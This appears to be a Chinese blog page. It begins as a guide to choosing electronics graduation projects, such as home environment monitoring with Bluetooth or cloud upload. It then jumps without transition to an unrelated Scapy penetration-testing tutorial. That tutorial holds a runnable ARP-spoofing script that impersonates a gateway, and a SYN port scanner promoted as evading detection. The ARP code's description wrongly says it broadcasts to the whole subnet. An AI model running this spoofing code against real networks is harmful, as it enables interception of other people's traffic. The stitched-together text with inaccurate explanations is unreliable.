一、关于0-1完成一个自己的毕设

选题篇

首先,我们要知道我们的电子类毕设分为哪几类。

按命题分

1.自主命题
2.老师命题
我们前期主要讲自主命题篇,因为老师命题的难度不一致,参差不齐。

题目难度分类

一梯队:环境监测类,人体健康检测类等
二梯队:环境监测+控制,人体健康+预警等
三梯队:环境监测+手机接收控制,人体健康+短信上云等
高难度:lora,zigbee。

难度主要就是这么划分的,我们也会根据这个难度梯度去逐一完成我们的一个项目设计。
先说说最基础的:

环境监测等

这个题目的范围可以很广,温湿度,光照,PH,空气质量,有毒气体这些都是可以检测的对象,那我们如果是自主选题且难度不高,我们直接选这个方向准没错,不过我们题目要有一个使用场景,比如厨房环境,仓库环境等,可以避免重复率过高的问题。我们此次教学也将从一个家庭环境监测系统开始讲。

上云(WIF),蓝牙,短信

这个功能可以说是进阶版,如果老师说工作量不够的时候可以加。因为在这个功能上已经要开始数据上传到APP或者网页了,并且上云涉及到了服务器搭建与网页或者APP开发。难度直线上升。对比单纯的环境监测,上云和这个就是天差地别(对于小白来说,大佬随意)。
好的回归正题,我们说要教大家0-1,所以必然是从简单的开始,最简单的就是蓝牙透传了。我们只需要买到一个现成的,支持透传的蓝牙模块(后面会讲),然后市面上有成品软件可以直接接收蓝牙数据。就可以达到数据在手机显示的效果。
其次就是短信,但是短信的测试条件很麻烦,信号,电源问题都很多。
最后就是上云,小白不要轻易自己加。当然也可以到时候看我上云章节学习学习试试。

那看到这里,想必你的题目大致已经有了一点方向了,接下来就可以继续学习下一章节了。

### 使用 Scapy 进行渗透测试 Scapy 是种强大的 Python 库,专为网络数据包操作而设计。它允许创建自定义的数据包并发送到目标主机上,从而实现各种类型的网络安全测试[^1]。 #### 安装 Scapy 为了使用 Scapy,在本地环境中安装该库是必要的。可以通过 pip 工具来完成过程: ```bash pip install scapy ``` #### 基础功能介绍 Scapy 提供了系列的功能用于构建、解析以及操控网络流量。以下是几个常用的方法: - `send()`: 发送一个或多个原始层协议栈中的分组。 - `sr()`, `srp()` : 发送并接收响应;前者针对第三层(Layer 3),后者则适用于第二层(Layer 2)[^1]。 - `sniff()`: 抓取指定接口上的数据报文流。 #### 渗透测试案例分析 ##### ARP欺骗攻击模拟 ARP (Address Resolution Protocol) 欺骗是种常见的局域网内攻击手段之。通过向受害者机器发送伪造的ARP回复消息,可以误导其相信攻击者的MAC地址对应着默认网关或其他重要节点的位置。下面是一个简单的例子展示如何利用 Scapy 实现这点: ```python from scapy.all import * def get_mac(ip): arp_request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip) answered_list = srp(arp_request, timeout=1, verbose=False)[0] return answered_list[0][1].hwsrc target_ip = "192.168.1.7" gateway_ip = "192.168.1.1" target_mac = get_mac(target_ip) packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip) send(packet, count=4, inter=0.5) ``` 这段脚本会构造条虚假的 ARP 请求,并将其广播给同子网内的所有设备。当某台计算机接收到这条信息后就会更新自己的 ARP 缓存表项,认为攻击者就是真正的路由器。 ##### SYN扫描器 SYN 扫描是最基本也是最常用的端口探测方式。这种方法不会建立完整的 TCP 连接而是只发出同步请求(SYN),等待对方回应后再决定是否继续尝试连接。这种方式能够有效减少被检测出来的可能性。 ```python import sys from scapy.all import * if len(sys.argv) != 3: print("Usage: python syn_scan.py <target> <port_range>") exit() target = str(sys.argv[1]) min_port = int(sys.argv[2].split('-')[0]) max_port = int(sys.argv[2].split('-')[1]) for port in range(min_port, max_port + 1): packet = IP(dst=target)/TCP(dport=port, flags='S') response = sr1(packet, timeout=0.5, verbose=0) if response is not None and TCP in response and response[TCP].flags & 0x12: print(f"[+] Port {str(port)} open.") rst_packet = IP(dst=target)/TCP(dport=port, flags='R') send(rst_packet, verbose=0) ``` 此代码片段实现了对特定IP范围内系列端口号的状态检查工作。对于每一个开放状态下的服务都会立即终止新建链接以防留下痕迹。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

通信好难学

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值